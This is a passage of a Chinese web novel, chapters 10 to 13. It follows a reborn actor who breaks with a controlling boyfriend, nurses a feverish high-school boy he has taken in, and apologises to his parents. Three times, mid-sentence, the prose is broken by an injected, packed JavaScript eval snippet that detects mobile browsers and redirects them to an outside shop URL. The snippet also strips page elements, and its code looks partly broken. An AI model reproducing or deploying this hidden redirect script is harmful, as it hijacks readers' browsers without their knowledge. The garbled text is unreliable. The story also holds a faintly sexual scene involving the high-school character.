可能是被什么熟人偶遇到了吧。 他既然已经问到自己头上了,宋宴也没反驳,回了个“嗯”。 然后,他就把手机扔到一边,去给季修岚找睡衣。 但很快,手机又继续震动了起来。 顾知远的消息不疾不徐,带着他特有的节奏。 [不是说明早要去学校吗?] [那种地方环境复杂,你去那里做什么?小宴,你这样会让我担心的] [如果有什么事,你一定要第一时间告诉我] 他的语气依然是那副无懈可击的温柔模样,就好像他只是一个贴心的成熟恋人。 却带着不动声色的控制欲。 宋宴扫了一眼正准备放下手机,新的消息却继续发了过来。 [小宴,关于你拍戏的事,我想了想,还是觉得应该跟你聊聊] 宋宴指尖一顿。 [你想进这个圈子玩一玩,丰富阅历,这是件好事,我觉得你哥哥也是这么想的,所以我们都没反对] [但是] 宋宴几乎能在脑海中勾勒出顾知远推了推金丝眼镜,露出那种略带无奈又饱含深意的表情。 [如果你要把这个当成一份正经事业,我有些不同的看法] 他没有直接否认,而是先摆出这种包容的姿态。 这是他一贯的处事风格,看似贴心,其实虚伪得要命。 [娱乐圈这条路外表光鲜,实际上多残酷小宴你现在是不知道的,有些阴暗面我不忍心让你接触] [更重要的是,以你现在接到的资源来看……] 说到这里,顾知远停顿了一下。 似乎是在斟酌一个不至于太伤人的措辞。 [只是一个戏份很少的配角,对吗?] [听话,小宴,把拍戏当成一段有趣的经历就好] [你不需要那么辛苦,未来有我在,我会为你铺一条更平坦的路] 虽然对他要说什么早有了心理准备—— 但是当看到消息时,宋宴的眉头还是拧了起来。 内心压抑的愤怒骤然翻涌。 他要吐了。 10. 发烧 [你让我放弃我的爱好?] 宋宴打字回复。 看着顾知远发的消息,他心里泛起一阵恶心。 铺路? 鬼才需要。 前世他被这人的花言巧语骗得团团转,现在怎么可能还会上他的当。 有宋家的底气,他不需要顾知远虚伪的承诺。 更何况,如果不是真喜欢演戏,他又怎么可能在这件事上投入这么多成本和精力。 顾知远之所以这么说,就是因为他更想要宋家的资源,又不希望自己男朋友过于抛头露面。 他希望一切都按照自己的规划发展。 眼看宋宴越来越不受控制,就想直接掐断他的爱好,把人圈养成听话的宠物。 就是这种顺理成章的态度,让人更觉得反胃。 顾知远的消息很快又发了过来。 [小宴,我只是希望你不要被那些东西束缚] [你本来能拥有一个更体面的未来的] 这个语气,好像宋宴只是一个不懂事的小孩。 房间内一片寂静,只有手机屏幕幽幽地亮着,映出宋宴没有什么表情的脸。 从前世到这一世,顾知远只是把宋宴当成了自带着资源的漂亮藏品,而不是一个活生生的人。 令人窒息。 宋宴知道,顾知远惯常会温水煮青蛙,如果他这时候反驳,对方肯定会继续想办法劝说他。 他抿了抿唇,一时不知道该回复些什么。 正在烦躁的时候,一个电话打了过来。 是他的经纪人,敏敏姐。 宋宴深吸口气调整了一下情绪,然后才接通电话。 “喂?敏敏姐,什么事。” 他的嗓音懒洋洋的,带着几分倦意。 “小宴!!” 敏敏姐的声音几乎在电话里炸开,充满了难以置信的狂喜。 “你看微博了没,你的剧照在热搜上爆了!” “我们做到了,我们真的做到了!你看我就说你行吧!” 宋宴一愣。 心口骤然涌入了一股清泉,驱散了方才因顾知远而产生的怒火。 对,就是这个时候! 时间太久远,他都有些忘了。 前世,就是剧组开始宣发的时候,他的一组定妆照被推到了大众面前,直接出圈,收获了很多粉丝。 这曾经是他最引以为傲的起点。 也是他最意气风发的一段时间。 但是后来…… 由于他一直不肯跟顾知远分手,他恋爱脑的事被网络上添油加醋地传出去后被黑成碳了,他被塑造成了一个拜金愚蠢的人设,再加上糟糕的公关—— 他很快就失去了一切。 那是他最黑暗的日子。 一打开手机,网络上全是对他的谩骂,甚至拿了同期很多明星跟他对比,嘲笑他只是一个花瓶,根本不配出来演戏。 口碑骤然逆转,宋宴当时连微博都卸载了,一个人躲在暗无天日的屋子里颓废度日。 过去的记忆飞快在脑海中闪过。 宋宴微微抿唇,握着手机的手用力了几分。 这一次,他不会再允许这样的事情发生。 “等等啊敏敏姐,我去看一眼……” 宋宴嘴上应付着经纪人,打开微博随便扒拉了两圈,发现所有事情都跟他上一世一样。 #《风息之野》宋宴惊艳# 热搜榜的这个词条后面跟了一个深红的“爆”。 点进去,满屏都是他的那张剧照。 桃花林中,绯红色花瓣被风卷起。 男生拿着一柄长剑站在中央,一袭红衣穿得毫不端庄,衣襟松垮地交叠,露出一段修长的脖颈和纤瘦的锁骨,在他身上衬得皮肤白得扎眼。 他的眉眼微微低垂,睫毛长而浓密,眸子里含着水一样多情,眼下还有一颗小小的痣。 这是一个异域小王子的角色,耳侧的长发微微卷起,墨发当中缠绕着细细的金链和玛瑙珠串,随风轻晃,额前则缀着一颗红色宝石,漂亮得要命。 他的鼻尖挺翘,唇瓣颜色泛粉,似笑非笑,如同花苞一样柔软而诱人。 如同在桃花林中燃起的一簇火苗,鲜艳热烈。 评论区已经沦陷了。 [救命……这真的是人类拥有的美貌吗,我都不敢呼吸了!] [又美又疯,闺蜜闺蜜这个我真喜欢(捂脸哭)] [我摊牌了,这回我是真要当嬷嬷了] 而他本来无人问津的微博,也瞬间涨了无数粉丝。 消息跳得太快,以至于手机都有些卡顿。 电话里,敏敏姐刚开始的兴奋劲过了,开始絮絮叨叨地跟他交代下一步该怎么办。 “小宴啊,你现在突然火了,盯着你的人很多,你要提防身边的人。” “今时不同往日,你的任何一点小事都可能在互联网上被放大,后果不堪设想。” 宋宴在电话里漫不经心地“嗯嗯”地应着,指尖轻点,截下了热搜榜单的图。 他干脆利落地把截图发给顾知远,然后打字。 [阿远,你的好意我心领了,不过这个你就不用操心,观众好像还挺喜欢我的] [你看,是不是?] 男生特意用了有点反问的口吻,显得有种天真的嘲讽。 消息发出后,世界都清静了。 宋宴几乎能想得到顾知远那张斯文的脸僵住的样子。 他心里的不舒服随之烟消云散。 就在这时,客房门“咔哒”一声被打开。 宋宴条件反射性抬眼向那边看去。 季修岚刚刚洗完澡。 少年可能是没找到吹风机,黑发湿漉漉的,还在往下滴水。 水珠顺着他苍白的脖颈滑进了松垮的领口。 宋宴的睡衣穿在他身上显得有些过于宽大了,他把衣袖和裤脚都整齐地挽起,露出细瘦的腕骨和踝骨。 整个人湿漉漉的,看起来像某种被雨淋湿的小动物,寻求人类的帮助。 又带着点易碎的清冷美感。 还是个小孩。 看着他现在这样,宋宴的心里不自觉地柔软了起来。 他想起护士跟他说季修岚晕倒其实是太缺乏营养了,必须得趁现在年轻的时候把身体养好。 宋宴在心里计划,之后一定要把季修岚身体养起来。 起码要胖一点才好看。 就在这时,电话里的敏敏姐话锋一转,语气变得谨慎起来。 “对了,还有你那个男朋友,顾知远……” 敏敏姐是现在少数知道他谈恋爱的人。 之前,她没少为宋宴的事担心,不过都被男生固执地怼回去了。 现在想想,宋宴都觉得当初的自己很不可理喻。 他对着季修岚比了一个“嘘”的手势,然后对着话筒说。 “敏敏姐,我给你交个底,我准备跟他分手了。” “不会因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199351|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影响到工作的,你放心。” 季修岚猝然抬眸,睫毛轻轻闪烁了一下,漆黑的眸底隐约有情绪波动。 他的喉结上下滚动了一下。 “真的?” 电话那边的敏敏姐扬高声音,显然没想到还有这种好事。 她一开始都没敢信——毕竟之前的喜欢顾知远到那种程度,怎么可能轻易分手。 但她也知道男生向来都是一个言出必行的人,更没必要骗自己,这才松了一口气。 “那就好,你要是知道这个我就不用多跟你啰嗦了……” “总之你记住,你现在还在起步阶段千万要稳住,感情生活要干净,别做任何奇怪的事,有什么你先跟我商量。” 毕竟要比宋宴年长一些,敏敏姐叮嘱得事无巨细。 “奇怪的事?” 宋宴接过话头,心底忽然产生了几分恶劣的小心思。 他身体微微向后很舒服地仰躺在沙发上,看着安静望过来的季修岚。 男生对着话筒,拖长了尾音,用一种带着笑意的嗓音道。 “那……敏敏姐,我今天不小心包养了一个长得很好看的小朋友,算不算奇怪的事?” “……” 电话对面,是死一般的寂静。 紧接着,敏敏姐的声音陡然拔高,近乎崩溃的惊呼几乎要冲破听筒。 “宋宴!你说什么!你敢不敢再说一遍!” “什么包养,多大的小朋友,你现在在哪?干什么呢!立刻给我把事情说清楚!” 宋宴早有预料,及时地把手机拿远了一些。 想到敏敏姐在电话那头抓狂的模样,宋宴忍不住勾起唇角。 男生荡漾出几分笑意的眼底正好撞上季修岚望过来的视线。 少年已经几步走上前,站在了沙发旁边。 他微微俯身,漆黑的眸子一错不错地盯着宋宴,里面清晰地倒映着男生恶作剧得逞的笑脸。 季修岚的脸长得十分冷清精致,他眉眼挺拓,苍白的脸颊上泛着淡淡的红晕,鸦翅般的睫毛低垂,覆盖在眼下,是一小片阴影。 冰冷的水珠从黑发上滴落下来,融化在了宋宴指尖。 男生的手指忍不住轻轻地勾了一下。 客厅的灯光很柔和,夜色骤然安静了下来。 电话对面的喧嚣声仿佛变成了另一个世界的声音,宋宴对季修岚轻轻地眨了眨眼睛。 “宋宴。” 男生开口,他的嗓音柔软而沙哑,因为发烧,带着一种仿佛磨砂过的粗粝的质感。 他轻轻地咳嗽了两声,然后半跪下来,仰脸靠在宋宴面前。 这个姿势让他完全暴露在了宋宴的目光下。 黑发垂落,好像很难受似的,眼底都氤出了几分水汽,但却还是固执地看着宋宴。 “我好像……又烧起来了” 说着,季修岚握住了宋宴的手,把手背贴在了自己的额头上。 男生指尖滚烫,带着没有干的水汽,皮肤柔软细腻。 一触即分。 但是,那过高的温度却像带着电流一样,窜过宋宴的神经。 “好难受。” 季修岚垂下眸子,额头几乎要抵在宋宴的膝盖上。 宋宴开口刚想说些什么,紧接着就听到了听筒里面敏敏姐惊恐的声音。 “我去?宋宴你来真的?” “发烧了?不是不是……你到底对人家做了什么?” “禽兽啊我靠!” 11. 落泪 没当场骂出声,都算敏敏姐有修养。 当下,她的脑子里只剩下了两个字。 完了。 她现在仿佛已经看到了明晚微博热搜的标题。 #宋宴私生活混乱# #新生代演员家中偷藏未成年疑似囚禁play# #从惊艳到惊悚的那一夜# 宋宴刚圈到的嬷嬷粉可以退散了,现在的世界将是公公粉的天下。 不是,现在漂亮的小男孩都玩得这么野吗?怪不得刚才那么简单就答应了她分手,原来是早就已经有了新欢! 她感觉自己的职业生涯一眼望到了头。 而这边,看着季修岚烧得泛红的脸颊和湿漉漉的眼睛,宋宴顿时收起了玩闹的心思,连忙跟电话里解释。 “好啦敏敏姐,我开玩笑。” “这是我一个远方弟弟,还在念高中呢,生病了没地方去,在我这借住两天。” “之后,我就把他送回学校去,你放心。” “……” 敏敏姐沉默了两秒,这才愤怒地喊了男生的名字:“宋、宴!” “这种玩笑能乱开吗?你想吓死我是不是!” “对不起敏敏姐,我知道错了。” 宋宴从善如流地认错:“那我先挂了,还得照顾病人呢。” 要不是知道宋宴一般不屑于说谎,敏敏姐真要给他开思想教育课了。 不过毕竟当了很多年经纪人,敏敏姐还是警惕地提醒了宋宴一句。 “行,不过你这几天把尾巴夹紧,你和你那个什么弟弟千万不能被拍到。” “你现在正是风口浪尖的时候,被别人发到网上,说不准能炸出什么事来。” “知道啦知道啦。” 宋宴胡乱答应着:“拜拜敏敏姐。” 敏敏姐话实在是太多,挂断电话后,宋宴还感觉自己耳边有点嗡嗡作响。 他揉了揉有点发麻的耳朵,一转头,正好对上了季修岚安静的视线。 他的眼睛湿漉漉的,氤着一层水汽。 大概是刚洗过澡的缘故,嘴唇看起来也非常水润,微微张着喘气。 不知道为什么,宋宴感觉自己的喉咙有些发干。 他移开视线:“你现在感觉怎么样,要不要去医院。” 季修岚动作迟缓地摇摇头。 紧接着,他好像是想退后一些,但因为烧得过于严重,步伐都虚浮了,整个人踉跄了一下,差点摔倒在地上。 还好宋宴伸手敏捷地站起身,扶住了少年的后腰。 他的睡衣质感当然是很好的,垂感优越的真丝面料握在手里是又冰凉又顺滑的触感。 隔着这层薄薄的布料,能摸到季修岚细瘦紧绷的腰。 好烫。 触手灼热,好像比刚刚还要严重。 “你都站不稳了,别逞强啊。” 宋宴这下是真有点害怕了,他没什么照顾人的经验,小心翼翼地把人扶到沙发上。 季修岚微微敛眸。 随着男生的动作,他头轻轻一歪,安静地靠在了宋宴的肩膀上。 “都这样了,不好好养病还要去打工。” 男生一边在嘴里嘀嘀咕咕,一边伸手轻轻拍了拍季修岚的脸。 “喂,还醒着吗?” …… 而另一边。 看着宋宴发过来的消息,顾知远眯起眼睛。 他习惯性地推了一下金丝边眼镜,唇角勾着的温和弧度淡了下来。 男人此时坐在办公室里,一身黑色西装,手指在桌面上一下一下轻轻地叩着,有种生人勿近的气场。 不是错觉。 这只金丝雀确实在跟他闹脾气。 “顾总……” 就在这时,他的思绪被一道讨好的嗓音打断了。 眉眼穿着都很精致的男孩跪在地上,举手投足当中透露着楚楚动人。 眼看着顾知远终于肯看自己一眼,男孩心里一喜。 他微微靠近了些,用柔软的脸颊轻轻蹭了蹭顾知远的手背,眼底满是讨好。 “看看我好不好,我陪着您……” 话还没说完—— “啊!” 男孩被猝不及防踹到了冷硬的地面上,发出一声惊呼。 顾知远这才缓缓抬起头。 他甚至还是笑着的,但眸光却极其冰冷,如同某种冰冷蛇类,将要取人性命。 “谁让你进来的?” “我,我只是想……” 男孩被吓得语无伦次,哆哆嗦嗦讲不出话。 “谁?” 顾知远微微眯起眼睛,再次反问,语气不容质疑。 “黄,黄助理……” “滚出去。” 顾知远笑了笑,语气和善:“顺便告诉□□天不用来了。” 男孩连滚带爬地消失在了门口。 听到办公室的门被关上,顾知远脸上的最后一丝笑意也消失殆尽。 他重新拿起手机,点开一个没有备注的对话框,指尖停顿片刻,发出了一条简短的消息。 [去帮我盯着他,有什么随时跟我汇报] 他也不想这样的。 但是既然小宴有点走偏了,那他就有责任带着这只漂亮的金丝雀回到正确的笼子里。 就算手段强硬一些,也是合理的。 …… “不用去医院。” 季修岚的声音拉回了宋宴的思绪。 少年的嗓音沙哑得厉害,带着高烧后的脆弱感:“只是发烧了,什么力气都没有。” 他的头发还在滴水。 宋宴看着他叹了口气,语气不自觉带上了几分纵容:“行,那你坐在这。” 他指了指沙发前面的矮凳子:“头发湿漉漉的很难受吧,我给你吹干——不过你都生病了,还洗什么头发啊。” 季修岚抬眸看着他,黑漆漆的眼睛里看不出什么情绪。 少年闷闷地说:“从那种地方出来,会很脏。” 这话好像带着小刺一样,轻轻在宋宴的心口里扎了一下。 原来强忍着难受还把头发洗了的原因是这个吗? 宋宴那点埋怨消散了,语气不自在地软了下来。 男生干巴巴道:“那你以后别去那种地方打工了。” 说着,宋宴打开吹风机,暖风嗡嗡作响。 在这之前,宋宴完全就是一个被家里娇惯着养大的小少爷,从没有照顾过任何一个人。 他修长的手指在季修岚湿润的发丝之间穿梭,虽然笨拙却很温柔。 偶尔,他会触碰到对方发烫的耳廓和脖颈。 每一次触碰,季修岚的身体都会不由自主地轻颤一下。 他的脊背紧绷着,头却顺从地低了下来,将自己的后颈完全暴露在了宋宴的指尖下。 是一种全然信任的姿态。 宋宴恍惚觉得,季修岚的耳朵好像更红了一些。 吹了一阵之后,男生手就酸了。 应该差不多了吧。 他把少年的头发吹得乱七八糟,但好歹摸起来干燥了。 就在他觉得差不多,准备关机的时候—— 一滴冰凉的液体,突然砸在了他的手背上。 不是头发上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199352|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。 宋宴愣了一下,下意识低头。 季修岚依然安静地坐着,脊背挺直,只是微微垂着头。 他苍白的脸颊上泛着病态的红晕,那双漂亮且空洞的眼睛里,正无声地滚落出了大颗大颗的泪珠。 泪水顺着尖细的下巴滑落,留下了湿亮的痕迹,晕湿了一小片衣领。 他哭得悄无声息,却比任何嚎啕都更具有冲击力。 这种瓷器马上要裂开的感觉,看得宋宴心都要碎了。 “你……” 宋宴要出口的话堵在了喉咙里。 他曾经见过许多人哭,却从没见过这样绝望又具有美感的哭泣。 看着季修岚空洞落泪的眼睛,宋宴下意识伸手,轻轻碰了一下对方湿漉漉的脸颊。 “别哭了……” 男生低声道。 眼看着季修岚还是没停下,宋宴有点着急。 “是不是又难受了?还是我说错什么话了,我不是故意的,你别哭啊……” 他想伸手拍一拍季修岚的背,又有些不知所措,手在空中尴尬地顿住。 “……没有。” 季修岚终于开口。 他的嗓音沙哑得不像话,语气却异常平稳。 他缓缓抬起头,那双被泪水洗过的眼睛黑得惊人,直直地看向宋宴。 明明是仰视的姿态,明明眼前的少年看起来脆弱至此,可那一瞬间,宋宴却莫名地产生了一种危险的感觉。 但季修岚的下一句话很快打断了宋宴的思绪。 “从来没有人对我这么好,哥哥……” 季修岚一字一句地说。 他的眼泪还在流,眼神却莫名有些执拗。 “我感觉,我现在好像在做梦,梦醒了就什么都没有了……” “哥哥,你能一直对我这么好吗?” 没等宋宴回答,季修岚又急切地补充道:“我会报答你的,一定会的。” “报答?” 宋宴被他哭得心都有些乱了。 男生下意识伸手,用指尖蹭掉了他脸颊上的一颗泪珠,动作轻柔。 他语气有点不自在:“那你说,要怎么报答我?” 季修岚没有回答。 他的目光落在宋宴还没来得及收回的手指上,那里还残留着一点晶亮的湿意。 忽然,少年低下头。 他张口,轻轻地用牙齿叼住了宋宴的指尖。 尖尖的虎牙抵着柔软的指腹,用了点力气,瞬间产生了刺痛的麻痒。 是一种令人战栗的触感。 “嘶——” 宋宴猝不及防,倒吸一口凉气,下意识想抽回手。 季修岚的牙齿太尖了,在他的指腹上留下深深的牙印。 少年松了口。 他抬起眼,长长的睫毛上还沾着泪,眼神却很涣散。 就好像刚刚那个带着狠劲的动作只是他高烧之下无意识的行为。 “……” 看着指尖上的牙印和湿痕,宋宴一时语塞。 算了,这小孩估计是烧糊涂了。 不跟他计较。 “还能站起来吗?我带你去睡觉。” 宋宴一点点扶着季修岚躺回到客房的床上。 给他掖好被子,男生叮嘱道:“好了,快睡吧,有事喊我。” 就在准备离开的时候,宋宴忽然感觉自己的手被什么东西轻轻地拉住了。 他低头一看。 少年滚烫的手不知道什么时候从被子里悄悄地伸了出来。 他的食指微曲—— 勾住了宋宴的小指。 12. 回家 这是一个有点孩子气的动作,很少出现在这个看起来很早熟的男生身上。 宋宴愣住了。 客房的床头,只点燃了一盏昏黄的小夜灯。 光线笼罩在季修岚苍白的脸上,显得那双眸子尤其漆黑,亮得惊人。 看起来很执拗。 宋宴的心脏漏跳了一拍。 他垂眸看着男生,唇角漫不经心地勾起。 “又怎么了小少爷?” 顿了顿,他调笑道:“生病了这么粘人啊,还要我给你讲个睡前故事?” 男生嗓音微挑。 察觉到季修岚的手指略微不自在地松了松,宋宴伸出手,极有耐心地将季修岚勾着他的手拨开。 少年指尖滚烫,皮肤擦过的一瞬间,指腹的触感被无限放大,带着微微的阻力。 “好了,睡吧。” 宋宴懒洋洋地打了个哈欠,眼角溢出一点生理性泪水:“明天早上我还得去学校交材料呢,没空陪你熬夜。” 季修岚没说话。 但他眼睛里的光却黯了些许,带着点无声的控诉,好像不希望宋宴留他一个。 少年轻轻咬了一下红润的嘴唇,留下轻微的齿痕,看着很可怜。 “晚安。” 宋宴硬下心来,觉得季修岚应该是发烧烧得有点迷糊,临走前又补充了一句。 “半夜不舒服记得喊我哦。” 季修岚轻轻点了点头。 然后,他把半张脸埋进了被子里,只露出烧得通红的耳朵尖。 还真是个小孩。 宋宴觉得他有点可爱,在心里笑了笑,然后轻轻带上门。 门被关上的一瞬间—— 寂静的夜色中,季修岚睁开了眼睛。 他的眼底此时居然格外清明,里面是浓重翻滚的黑色。 季修岚缓缓地举起了方才触碰过宋宴的那根手指,轻轻揉搓了一下。 指尖上,仿佛还萦绕着那股属于对方的淡淡的甜橙香气,触感微凉细腻。 片刻之后,季修岚咬住了那根手指。 他的牙齿很尖,稍一用力,指尖就渗出了血珠。 血腥味弥漫在唇齿之间。 “唔……” 一股陌生的、近乎疼痛的欲望,从那根被咬破的指尖窜向四肢百骸,最终汇聚在了小腹,点燃了一簇灼烧的火焰。 他把自己更深地蜷缩在了被子里,身体因为高烧和这种陌生的悸动而微微颤抖。 好难受…… 谁来救救他…… 少年被子下的手死死揪住了身上那件属于宋宴的睡衣布料,指尖用力到近乎泛白。 呼出的气息灼热滚烫,简直要把一切都烧化。 昏黄的灯光下,他听到了自己浓重的心跳。 一下,两下。 …… 第二天,宋宴一早就出了门。 他想着家里的季修岚,交完材料后甚至同学喊他去吃饭他都没去,直接就打车回了家。 不过好在季修岚没再烧起来,虽然看起来还是很虚弱,但其实已经好很多了。 然后宋宴又忙前忙后收拾屋子,帮季修岚找出了一些必要的生活用品。 小少爷已经很久没干过这么多活,一下累得腰酸背痛。 他总觉得自己这周末有点事没做,但又实在想不起来。 那就算了。 他索性也不再为难自己,直接开始在沙发上扮演尸体。 周日上午。 宋宴还在睡梦里,他的公寓大门忽然传来了“滴”的一声轻响。 有人用指纹锁打开了门。 “小宴!” 宋凛川抬高声音,在客厅环顾一周。 就在这时,他对上了一双漆黑沉静的眸子。 不是他弟弟。 而是那天城南会所遇到的那个少年——好像叫季修岚? 他怎么在宋宴家里。 宋凛川眉心微蹙,心下不悦。 看到他,季修岚站起身,安静地站在那。 他身上穿着明显宽大的睡衣。 宋凛川一眼就认出来,这是宋宴之前最喜欢穿的那套,这是一个很有质感的颜色,衬得人肤色如玉。 此时这套睡衣穿在少年的身上,领口松垮,露出一小片苍白的胸口,身形修长,面容俊秀。 少年脸色苍白,却因这套装扮,体现出了一种被精心圈养的感觉。 看到宋凛川,季修岚睫毛轻颤,低声道:“宋总。” 他的嗓音微微沙哑,虽然看到有人进来有点意外,姿态却不显局促。 宋凛川的目光在他清冷得过于好看的脸上经过,锐利得如同带着刀子一样。 他没有应声,也懒得出声询问,只是朝着主卧提高了音量,声音微沉,带着明显的不悦。 “宋宴!都几点了还不起床?” “唔……哥?” 主卧门被从里面拉开。 宋宴顶着一头糟乱的头发,揉着眼睛迷迷糊糊地走了出来。 大约是刚从被子里爬起,男生领口歪斜,一截精致的锁骨露了出来。他的眼皮微微泛肿,显得眼皮的褶皱更深邃了一些,白皙的皮肤上还泛着睡觉压出来的红痕。 男生整个人都散发着刚睡醒的柔软,语气里还带着鼻音。 宋凛川抬起手腕看了眼表,语气硬邦邦的。 “快十二点了,你的作息还能更离谱吗?” 宋宴清醒了一大半。 他睁大眼睛看着墙上的挂钟,下意识反驳:“胡说,明明才十点五十!时间这不是还早得很!你从哪学的看时间的方法,怎么跟咱妈似的。” 男生的语气里带着被吵醒的骄纵,他抱怨道。 “而且哥,你大早上的来我家干嘛,我还睡觉呢。” “你……” 宋凛川被他噎了一下,额角青筋微跳。 他目光沉沉地看着宋宴:“我看你是睡昏头了,不记得之前答应过我什么?” “赶紧收拾东西,跟我回家。” 他的语气斩钉截铁,不容置疑。 “回家?” 宋宴一愣,随即忽然想起了什么:“对不起哥!我给忙忘了!” 之前在城南会所的时候,他确实答应过他哥,这周末回家跟父母好好解释一下然后道个歉。 但因为太忙,他直接把这件事忘了个干净。 他这时候终于意识到他哥身上散发的低气压是怎么回事了。 宋凛川冷哼一声,嗓音冰冷。 “连这点事都能忘,我看你除了……” 话说到一半,他的眼神掠过季修岚,生生止住,变成了更深的嘲讽:“什么都记不住。” 说完,他显然不打算多待,转身就往外走,语气是斩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199353|197168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钉截铁的命令。 “给你十分钟,楼下等你。” “马上马上!” 宋宴火急火燎地冲回房间换衣服。 经过客厅的时候,他才忽然想起家里还有别人。 季修岚依然站在原地,少年现在异常沉默,只是目光紧紧追随着宋宴。 宋宴脚步一顿,匆匆跟季修岚交代。 “那个……你好好休息,药在茶几上!” 他的语速又快又急,看着男生苍白的脸色,他的语气放轻了一些,补充道。 “不舒服随时给我打电话,我下午就能回来!” 说完,男生风风火火地追随着他哥跑了出去。 …… 男生进来的时候,宋凛川正坐在驾驶位上回复公司的消息。 “哥,多亏你今天来找我,要不然我真没想起来。” 宋宴坐在副驾驶把座椅靠背调整成熟悉的角度,笑着说:“不好意思啊。” 宋凛川抬起眸子,语气冷冰冰的:“那小孩怎么回事?” “你就这样把陌生人往家里带?” “他生病了没地方去嘛。” 宋宴没太当回事,一边系安全带一边说:“他一个高中生在外面自己打工,发烧烧得可严重了,我总不能见死不救吧。” “宋宴。” 宋凛川打断他,直接叫了男生的全名,然后握住手腕将他拉近了几分,压低的声音里带着明显的怒意。 “你什么时候这么善良了,什么不三不四的人都敢往家里带,还登堂入室?” 男人一只手就可以圈住宋宴的腕骨。 好疼。 看到他哥罕见的这么严厉,宋宴怔了一下,随即用力挣开,揉了揉腕骨。 他用抱怨的语气说:“你干嘛啊哥,疼死了。” 他哥反应也太大了吧。 他一个二十几岁的成年男子,难道还能睡着被人割腰子不成。 宋凛川冷哼一声。 “你要真知道疼就好了,还记吃不记打。” “知道了知道了。” 见他哥这样,宋宴也没有硬着顶回去,只是嘟嘟囔囔:“怎么这么啰嗦……” …… 宋家的主宅在城郊,是一处占地面积很大的中式庄园,小桥流水,雕栏画栋,风景秀丽雅致。 见到父母,气氛明显凝滞了下来。 看到小儿子进门,坐在沙发上看报纸的宋父从鼻子里哼出一声。 中年男人的目光没离开报纸,姿态却很生硬。 宋母则放下了手里的茶盏,美目含嗔:“还知道回来?我以为你宋小少爷翅膀硬了,连我们这个家也看不上了。” 如果是以前,宋宴要么靠撒娇蒙混过关,要么就梗着脖子跟父母顶嘴。 但是这一次,他没有这么做。 男生从哥哥身后走了出来,然后在父母面前站定。 他收敛了所有玩闹的神色,然后在母亲略带诧异的目光,和父亲从报纸上方投来的视线里—— 这个向来骄纵,意气用事的少年,深吸了一口气,然后郑重地,标准地鞠了一个躬。 “爸爸妈妈,对不起。” 男生声音不高,态度却非常诚恳:“之前是我错了。” “我不该那样跟你们吵架,更不该说那些伤人的话。” “你们可以原谅我吗。” 13. 生日 客厅里,空气完全安静了下来。 宋母愕然,半晌,有些怀疑地问:“你在外面被那个顾知远哄得做什么了?” “还是钱不够用了?” 生气归生气,她第一反应仍然是儿子在外面受了委屈。 “不是的,妈。” 宋宴直起身,看向父母,眼神是从未有过的清明:“钱够用,我也没上当受骗,是我自己想明白了。” 他顿了顿,嗓音微沉。 “你们是对的,顾知远确实不是什么好人,我之前太固执了。” 宋宴脑子里,想起了父母前世执意的劝阻。 当时他只以为那是偏见。 后来才明白,他们其实早就调查出了顾知远隐秘肮脏的生意手段,并且还听过关于他私生活的只言片语。 父母在竭力把他拉出泥潭。 “爸,妈,你们放心吧,我会跟他断得干干净净。” “之前让你们担心,是我不懂事了。” 宋母完全愣住了。 毕竟是自己从小看着长大的小孩,她看得出儿子脸上真真切切的自责。 一时间,心口交织着一股火气和担忧,她竟不知道该说些什么好。 她这个小儿子,从小被娇惯着长大,又聪明又任性,这还是头一遭乖乖地认错服软。 见母亲神色松动,宋宴立刻挨挨蹭蹭地挪了过去。 他像小时候一样,小心翼翼地把下巴搁在母亲肩头,嗓音软了下来,带着轻微的鼻音。 “妈,原谅我这次好不好?我以后一定乖乖的。” 男生的眼睛亮晶晶的,柔软的发梢轻轻蹭了蹭母亲的脸颊。 宋母心软了下来。 她叹了口气,抬手拍了宋宴一下,然后用眼神示意了一下旁边一直沉默的宋父。 宋宴会意,转头看向旁边的父亲。 “爸,对不起。” 男生眼神乖巧,跟只收了爪子的小猫似的。 宋父抬起眼睛,在儿子诚恳认错的脸上停顿了片刻。 之所以反对,是因为他之前调查过这个人,清楚他温文尔雅的表皮下的算计,明白这是怎样一个为达目的不择手段的阴狠之人。 这个从小被保护得太好的小儿子,绝对不是这种人的对手。 如今看宋宴自己醒悟了过来,虽然不知道其中缘由,但宋父心里的担忧卸下了一大半。 他板着脸,从喉咙里“嗯”了一声。 半晌,才在宋母和宋宴灼热的视线中硬邦邦地跑出一句。 “……先吃饭。” …… 等到了饭桌上,气氛更是缓和了许多。 餐厅的灯光温暖,几道家常菜氤着热气,满是温馨。 “小川今天怎么这么沉默?” 留意到长子有点不寻常,宋母温柔地问了一句,还顺手给他夹了块排骨。 “没事,妈。” 